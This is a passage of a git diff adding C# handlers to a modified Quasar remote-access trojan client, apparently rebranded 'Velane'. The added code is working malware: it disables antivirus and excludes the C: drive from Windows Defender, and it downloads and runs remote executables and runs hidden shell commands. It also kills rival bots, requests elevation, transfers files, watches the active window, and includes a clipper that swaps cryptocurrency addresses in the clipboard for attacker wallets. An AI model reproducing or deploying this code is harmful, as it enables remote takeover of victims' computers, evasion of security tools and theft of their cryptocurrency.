outputThread.Join(1000); + errorThread.Join(1000); + + if (exited) + { + client.Send(new AVKillerResponse + { + Output = $">> Killer.exe completed with exit code: {process.ExitCode}\n", + IsError = process.ExitCode != 0 + }); + } + else + { + try + { + process.Kill(); + } + catch { } + + client.Send(new AVKillerResponse + { + Output = ">> Killer.exe execution timed out after 2 minutes\n", + IsError = true + }); + } + } + + // Cleanup + try + { + Thread.Sleep(1000); + File.Delete(killerPath); + Directory.Delete(randomDir); + client.Send(new AVKillerResponse + { + Output = ">> Cleanup completed\n", + IsError = false + }); + } + catch (Exception cleanEx) + { + client.Send(new AVKillerResponse + { + Output = $">> Cleanup warning: {cleanEx.Message}\n", + IsError = false + }); + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> EXCEPTION: {ex.Message}\n>> Stack: {ex.StackTrace}\n", + IsError = true + }); + } + }).Start(); + } + + private void MakePersistent(ISender client) + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Making driver persistent via registry...\n", + IsError = false + }); + + // Add to startup registry + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "reg", + Arguments = "add HKLM\\SYSTEM\\CurrentControlSet\\Services\\QuasarDriver /v Start /t REG_DWORD /d 2 /f", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + Verb = "runas" + }; + + using (Process process = Process.Start(psi)) + { + process.WaitForExit(); + + if (process.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> Driver set to auto-start on boot!\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = ">> Failed to make driver persistent\n", + IsError = true + }); + } + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> ERROR: {ex.Message}\n", + IsError = true + }); + } + } + + private void StopKiller(ISender client) + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Attempting to stop Killer.exe...\n", + IsError = false + }); + + // Find and kill all Killer.exe processes + Process[] killerProcesses = Process.GetProcessesByName("Killer"); + + if (killerProcesses.Length == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> No Killer.exe processes found running\n", + IsError = false + }); + return; + } + + int killedCount = 0; + foreach (Process proc in killerProcesses) + { + try + { + string procPath = proc.MainModule.FileName; + proc.Kill(); + proc.WaitForExit(5000); + killedCount++; + + client.Send(new AVKillerResponse + { + Output = $">> Killed Killer.exe (PID: {proc.Id}, Path: {procPath})\n", + IsError = false + }); + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> Failed to kill process {proc.Id}: {ex.Message}\n", + IsError = true + }); + } + } + + client.Send(new AVKillerResponse + { + Output = $">> Stopped {killedCount} Killer.exe process(es)\n", + IsError = false + }); + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> ERROR: {ex.Message}\n", + IsError = true + }); + } + } + + private void ExcludeCDrive(ISender client) + { + new Thread(() => + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Attempting to exclude C:\\ from Windows Defender...\n", + IsError = false + }); + + // Use registry method directly + ProcessStartInfo psiReg = new ProcessStartInfo + { + FileName = "reg", + Arguments = "add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" /v \"C:\\\" /t REG_DWORD /d 0 /f", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process processReg = Process.Start(psiReg)) + { + string outputReg = processReg.StandardOutput.ReadToEnd(); + string errorReg = processReg.StandardError.ReadToEnd(); + processReg.WaitForExit(); + + if (!string.IsNullOrEmpty(outputReg)) + { + client.Send(new AVKillerResponse + { + Output = ">> Registry Output:\n" + outputReg + "\n", + IsError = false + }); + } + + if (!string.IsNullOrEmpty(errorReg)) + { + client.Send(new AVKillerResponse + { + Output = ">> Registry Error:\n" + errorReg + "\n", + IsError = true + }); + } + + if (processReg.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> SUCCESS! C:\\ exclusion added to registry\n>> Restarting Windows Defender service...\n", + IsError = false + }); + + // Restart Windows Defender service to apply changes + ProcessStartInfo psiRestart = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-Command \"Restart-Service WinDefend -Force\"", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process processRestart = Process.Start(psiRestart)) + { + processRestart.WaitForExit(); + + if (processRestart.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> Windows Defender service restarted\n>> C:\\ drive should now be excluded from scans\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = ">> Could not restart service automatically\n>> Please restart Windows Defender manually or reboot the system\n", + IsError = false + }); + } + } + } + else + { + client.Send(new AVKillerResponse + { + Output = $">> Registry command failed with exit code: {processReg.ExitCode}\n>> This requires administrator privileges\n", + IsError = true + }); + } + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> ERROR: {ex.Message}\n", + IsError = true + }); + } + }).Start(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs new file mode 100755 index 0000000..560c7d7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs @@ -0,0 +1,53 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Messages +{ + public class ActiveWindowHandler : IMessageProcessor + { + [DllImport("user32.dll")] + private static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll")] + private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); + + public bool CanExecute(IMessage message) => message is GetActiveWindow; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetActiveWindow msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetActiveWindow message) + { + try + { + IntPtr handle = GetForegroundWindow(); + StringBuilder windowTitle = new StringBuilder(256); + GetWindowText(handle, windowTitle, 256); + + client.Send(new GetActiveWindowResponse + { + WindowTitle = windowTitle.ToString() + }); + } + catch + { + client.Send(new GetActiveWindowResponse + { + WindowTitle = "" + }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs new file mode 100755 index 0000000..3072ac0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class AutoTaskHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoAutoTask; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoAutoTask task: + Execute(sender, task); + break; + } + } + + private void Execute(ISender client, DoAutoTask message) + { + try + { + switch (message.TaskType) + { + case "EXECUTE_URL": + ExecuteFromUrl(message.Param1); + break; + case "EXECUTE_DISK": + ExecuteFromDisk(message.Param1); + break; + case "COMMAND": + ExecuteCommand(message.Param1, message.Param2); + break; + case "MESSAGEBOX": + ShowMessageBox(message.Param1, message.Param2, message.Param3); + break; + } + } + catch (Exception ex) + { + Debug.WriteLine($"AutoTask error: {ex.Message}"); + } + } + + private void ExecuteFromUrl(string url) + { + try + { + string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".exe"); + using (WebClient client = new WebClient()) + { + client.DownloadFile(url, tempFile); + } + Process.Start(tempFile); + } + catch { } + } + + private void ExecuteFromDisk(string filePath) + { + try + { + if (File.Exists(filePath)) + { + Process.Start(filePath); + } + } + catch { } + } + + private void ExecuteCommand(string shell, string command) + { + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = shell, // "cmd" or "powershell" + Arguments = shell == "cmd" ? $"/c {command}" : $"-Command \"{command}\"", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false + }; + Process.Start(psi); + } + catch { } + } + + private void ShowMessageBox(string caption, string text, string icon) + { + try + { + // Show message box on a separate thread to avoid blocking the client + System.Threading.Thread msgThread = new System.Threading.Thread(() => + { + try + { + MessageBoxIcon msgIcon = MessageBoxIcon.None; + switch (icon) + { + case "Information": msgIcon = MessageBoxIcon.Information; break; + case "Warning": msgIcon = MessageBoxIcon.Warning; break; + case "Error": msgIcon = MessageBoxIcon.Error; break; + case "Question": msgIcon = MessageBoxIcon.Question; break; + } + MessageBox.Show(text, caption, MessageBoxButtons.OK, msgIcon); + } + catch { } + }); + msgThread.SetApartmentState(System.Threading.ApartmentState.STA); + msgThread.IsBackground = true; + msgThread.Start(); + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs new file mode 100755 index 0000000..2fa01ad --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs @@ -0,0 +1,199 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using Microsoft.Win32; +using System.Security.Principal; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class BotKillerHandler : IMessageProcessor + { + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool IsWindowVisible(IntPtr hWnd); + + public bool CanExecute(IMessage message) => message is DoBotKiller; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoBotKiller _: + Execute(sender); + break; + } + } + + private void Execute(ISender sender) + { + int count = 0; + string currentExePath = Application.ExecutablePath.ToLower(); + + foreach (Process p in Process.GetProcesses()) + { + try + { + // Skip if we can't access the process + if (p.Id <= 4) + continue; + + string filePath = null; + try + { + filePath = p.MainModule.FileName; + } + catch + { + continue; + } + + if (string.IsNullOrEmpty(filePath)) + continue; + + string lowerPath = filePath.ToLower(); + + // CRITICAL: Never kill Velane/Quasar + if (lowerPath == currentExePath) + continue; + + string processName = p.ProcessName.ToLower(); + if (processName.Contains("velane") || processName.Contains("quasar") || + lowerPath.Contains("velane") || lowerPath.Contains("quasar")) + continue; + + // Check if process should be inspected (AsyncRAT approach) + if (Inspection(lowerPath)) + { + // Check if window is not visible (hidden process) + if (!IsWindowVisible(p.MainWindowHandle)) + { + string pName = p.MainModule.FileName; + + try + { + p.Kill(); + RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName); + RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName); + System.Threading.Thread.Sleep(200); + + try + { + File.Delete(pName); + } + catch { } + + System.Threading.Thread.Sleep(200); + count++; + + sender.Send(new BotKillerResult + { + ProcessName = p.ProcessName, + ProcessId = p.Id, + FilePath = pName, + ThreatType = "Suspicious hidden process", + Mutex = "", + Killed = true, + Message = "Process terminated and file deleted" + }); + } + catch (Exception ex) + { + sender.Send(new BotKillerResult + { + ProcessName = p.ProcessName, + ProcessId = p.Id, + FilePath = pName, + ThreatType = "Suspicious hidden process", + Mutex = "", + Killed = false, + Message = $"Failed: {ex.Message}" + }); + } + } + } + } + catch + { + // Silently continue on error + } + } + + // Send completion message + sender.Send(new BotKillerResult + { + ProcessName = "SCAN_COMPLETE", + ProcessId = 0, + FilePath = "", + ThreatType = "", + Mutex = "", + Killed = false, + Message = $"Scan completed. Threats found and killed: {count}" + }); + } + + private bool Inspection(string threat) + { + // Never inspect our own process + if (threat == Process.GetCurrentProcess().MainModule.FileName.ToLower()) + return false; + + // Never inspect Velane/Quasar + if (threat.Contains("velane") || threat.Contains("quasar")) + return false; + + // Check suspicious locations (AsyncRAT approach) + if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData).ToLower())) + return true; + + if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile).ToLower())) + return true; + + if (threat.Contains("wscript.exe")) + return true; + + if (threat.StartsWith(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET").ToLower())) + return true; + + return false; + } + + private static void RegistryDelete(string regPath, string payload) + { + try + { + using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(regPath, true)) + { + if (key != null) + foreach (string valueOfName in key.GetValueNames()) + { + if (key.GetValue(valueOfName).ToString().Equals(payload)) + key.DeleteValue(valueOfName); + } + } + + if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) + { + using (RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(regPath, true)) + { + if (key != null) + foreach (string valueOfName in key.GetValueNames()) + { + if (key.GetValue(valueOfName).ToString().Equals(payload)) + key.DeleteValue(valueOfName); + } + } + } + } + catch + { + // Silently continue on error + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs new file mode 100755 index 0000000..44bc899 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,113 @@ +using Quasar.Client.Config; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClientServicesHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + private readonly QuasarApplication _application; + + public ClientServicesHandler(QuasarApplication application, QuasarClient client) + { + _application = application; + _client = client; + } + + /// + public bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); + try + { + new ClientUninstaller().Uninstall(); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoClientDisconnect message) + { + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + var userAccount = new UserAccount(); + if (userAccount.Type != AccountType.Admin) + { + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run + try + { + Process.Start(processStartInfo); + } + catch + { + client.Send(new SetStatus {Message = "User refused the elevation request."}); + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already elevated." }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs new file mode 100755 index 0000000..d12b8ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs @@ -0,0 +1,164 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClipperHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoStartClipper || message is DoStopClipper; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + try + { + switch (message) + { + case DoStartClipper msg: + ClipperMonitor.StartClipper(msg.WalletAddresses); + break; + case DoStopClipper msg: + ClipperMonitor.StopClipper(); + break; + } + } + catch + { + // ignore + } + } + } + + public static class ClipperMonitor + { + private static bool _clipperActive = false; + private static Dictionary _walletAddresses; + private static Thread _clipperThread; + private static string _lastClipboard = string.Empty; + + // Regex patterns for crypto addresses + private static readonly Dictionary CryptoPatterns = new Dictionary + { + { "BTC", new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}\b", RegexOptions.Compiled) }, + { "LTC", new Regex(@"\b[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}\b", RegexOptions.Compiled) }, + { "ETH", new Regex(@"\b0x[a-fA-F0-9]{40}\b", RegexOptions.Compiled) }, + { "XMR", new Regex(@"\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b", RegexOptions.Compiled) }, + { "SOL", new Regex(@"\b[1-9A-HJ-NP-Za-km-z]{32,44}\b", RegexOptions.Compiled) }, + { "XRP", new Regex(@"\br[a-zA-Z0-9]{24,34}\b", RegexOptions.Compiled) }, + { "TRX", new Regex(@"\bT[A-Za-z1-9]{33}\b", RegexOptions.Compiled) }, + { "BCH", new Regex(@"\b(bitcoincash:)?[qp][a-z0-9]{41}\b", RegexOptions.Compiled | RegexOptions.IgnoreCase) } + }; + + public static void StartClipper(Dictionary walletAddresses) + { + _walletAddresses = walletAddresses; + _clipperActive = true; + + if (_clipperThread == null || !_clipperThread.IsAlive) + { + _clipperThread = new Thread(ClipboardMonitor) + { + IsBackground = true + }; + _clipperThread.Start(); + } + } + + public static void StopClipper() + { + _clipperActive = false; + _lastClipboard = string.Empty; + } + + private static void ClipboardMonitor() + { + while (_clipperActive) + { + try + { + Thread.Sleep(500); // Check every 500ms + + if (!_clipperActive || _walletAddresses == null) + continue; + + string clipboardText = GetClipboardText(); + + if (string.IsNullOrEmpty(clipboardText) || clipboardText == _lastClipboard) + continue; + + _lastClipboard = clipboardText; + + // Check for address + foreach (var crypto in CryptoPatterns) + { + if (crypto.Value.IsMatch(clipboardText)) + { + string cryptoType = crypto.Key; + + if (_walletAddresses.ContainsKey(cryptoType) && + !string.IsNullOrEmpty(_walletAddresses[cryptoType])) + { + string replacementAddress = _walletAddresses[cryptoType]; + + // Replace the address + SetClipboardText(replacementAddress); + _lastClipboard = replacementAddress; + break; + } + } + } + } + catch + { + } + } + } + + private static string GetClipboardText() + { + string result = string.Empty; + Thread staThread = new Thread(() => + { + try + { + if (Clipboard.ContainsText()) + { + result = Clipboard.GetText(); + } + } + catch + { + // Ignore + } + }); + staThread.SetApartmentState(ApartmentState.STA); + staThread.Start(); + staThread.Join(); + return result; + } + + private static void SetClipboardText(string text) + { + Thread staThread = new Thread(() => + { + try + { + Clipboard.SetText(text); + } + catch + { + // Ignore + } + }); + staThread.SetApartmentState(ApartmentState.STA); + staThread.Start(); + staThread.Join(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs new file mode 100755 index 0000000..8d21b0b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs @@ -0,0 +1,579 @@ +using Quasar.Client.Networking; +using Quasar.Common; +using Quasar.Common.Enums; +using Quasar.Common.Extensions; +using Quasar.Common.Helpers; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Security; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class FileManagerHandler : NotificationMessageProcessor, IDisposable + { + private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + + private readonly QuasarClient _client; + + private CancellationTokenSource _tokenSource; + + private CancellationToken _token; + + public FileManagerHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + switch (connected) + { + case true: + + _tokenSource?.Dispose(); + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + break; + case false: + // cancel all running transfers on disconnect + _tokenSource.Cancel(); + break; + } + } + + public override bool CanExecute(IMessage message) => message is GetDrives || + message is GetDirectory || + message is FileTransferRequest || + message is FileTransferCancel || + message is FileTransferChunk || + message is DoPathDelete || + message is DoPathRename || + message is DoPathCopy; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDrives msg: + Execute(sender, msg); + break; + case GetDirectory msg: + Execute(sender, msg); + break; + case FileTransferRequest msg: + Execute(sender, msg); + break; + case FileTransferCancel msg: + Execute(sender, msg); + break; + case FileTransferChunk msg: + Execute(sender, msg); + break; + case DoPathDelete msg: + Execute(sender, msg); + break; + case DoPathRename msg: + Execute(sender, msg); + break; + case DoPathCopy msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDrives command) + { + DriveInfo[] driveInfos; + try + { + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + } + catch (IOException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); + return; + } + catch (UnauthorizedAccessException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); + return; + } + + if (driveInfos.Length == 0) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); + return; + } + + Drive[] drives = new Drive[driveInfos.Length]; + for (int i = 0; i < drives.Length; i++) + { + try + { + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; + } + catch (Exception) + { + + } + } + + client.Send(new GetDrivesResponse { Drives = drives }); + } + + private void Execute(ISender client, GetDirectory message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + // Expand environment variables in the path + string expandedPath = Environment.ExpandEnvironmentVariables(message.RemotePath); + + DirectoryInfo dicInfo = new DirectoryInfo(expandedPath); + + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); + + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; + + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) + { + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, + Name = directories[i].Name, + Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + }; + } + + for (int i = 0; i < files.Length; i++) + { + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, + Name = files[i].Name, + Size = files[i].Length, + ContentType = Path.GetExtension(files[i].Name).ToContentType(), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; + } + + client.Send(new GetDirectoryResponse { RemotePath = expandedPath, Items = items }); + } + catch (UnauthorizedAccessException) + { + onError("GetDirectory No permission"); + } + catch (SecurityException) + { + onError("GetDirectory No permission"); + } + catch (PathTooLongException) + { + onError("GetDirectory Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("GetDirectory Directory not found"); + } + catch (FileNotFoundException) + { + onError("GetDirectory File not found"); + } + catch (IOException) + { + onError("GetDirectory I/O error"); + } + catch (Exception) + { + onError("GetDirectory Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); + } + } + + private void Execute(ISender client, FileTransferRequest message) + { + new Thread(() => + { + _limitThreads.WaitOne(); + try + { + using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) + { + _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); + foreach (var chunk in srcFile) + { + if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) + break; + + // blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = message.Id, + FilePath = message.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } + + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = message.RemotePath + }); + } + } + catch (Exception) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error reading file" + }); + } + finally + { + RemoveFileTransfer(message.Id); + _limitThreads.Release(); + } + }).Start(); + } + + private void Execute(ISender client, FileTransferCancel message) + { + if (_activeTransfers.ContainsKey(message.Id)) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Canceled" + }); + } + } + + private void Execute(ISender client, FileTransferChunk message) + { + try + { + if (message.Chunk.Offset == 0) + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(".exe"); + } + + if (File.Exists(filePath)) + { + // delete existing file + NativeMethods.DeleteFile(filePath); + } + + _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); + } + + if (!_activeTransfers.ContainsKey(message.Id)) + return; + + var destFile = _activeTransfers[message.Id]; + destFile.WriteChunk(message.Chunk); + + if (destFile.FileSize == message.FileSize) + { + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = destFile.FilePath + }); + RemoveFileTransfer(message.Id); + } + } + catch (Exception) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error writing file" + }); + } + } + + private void Execute(ISender client, DoPathDelete message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Delete(message.Path, true); + client.Send(new SetStatusFileManager + { + Message = "Deleted directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Delete(message.Path); + client.Send(new SetStatusFileManager + { + Message = "Deleted file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); + } + catch (UnauthorizedAccessException) + { + onError("DeletePath No permission"); + } + catch (PathTooLongException) + { + onError("DeletePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("DeletePath Path not found"); + } + catch (IOException) + { + onError("DeletePath I/O error"); + } + catch (Exception) + { + onError("DeletePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathRename message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); + } + catch (UnauthorizedAccessException) + { + onError("RenamePath No permission"); + } + catch (PathTooLongException) + { + onError("RenamePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("RenamePath Path not found"); + } + catch (IOException) + { + onError("RenamePath I/O error"); + } + catch (Exception) + { + onError("RenamePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathCopy message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + CopyDirectory(message.SourcePath, message.DestinationPath); + client.Send(new SetStatusFileManager + { + Message = "Copied directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Copy(message.SourcePath, message.DestinationPath, true); + client.Send(new SetStatusFileManager + { + Message = "Copied file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.DestinationPath) }); + } + catch (UnauthorizedAccessException) + { + onError("CopyPath No permission"); + } + catch (PathTooLongException) + { + onError("CopyPath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("CopyPath Path not found"); + } + catch (IOException) + { + onError("CopyPath I/O error"); + } + catch (Exception) + { + onError("CopyPath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void CopyDirectory(string sourceDir, string destDir) + { + Directory.CreateDirectory(destDir); + + foreach (string file in Directory.GetFiles(sourceDir)) + { + string destFile = Path.Combine(destDir, Path.GetFileName(file)); + 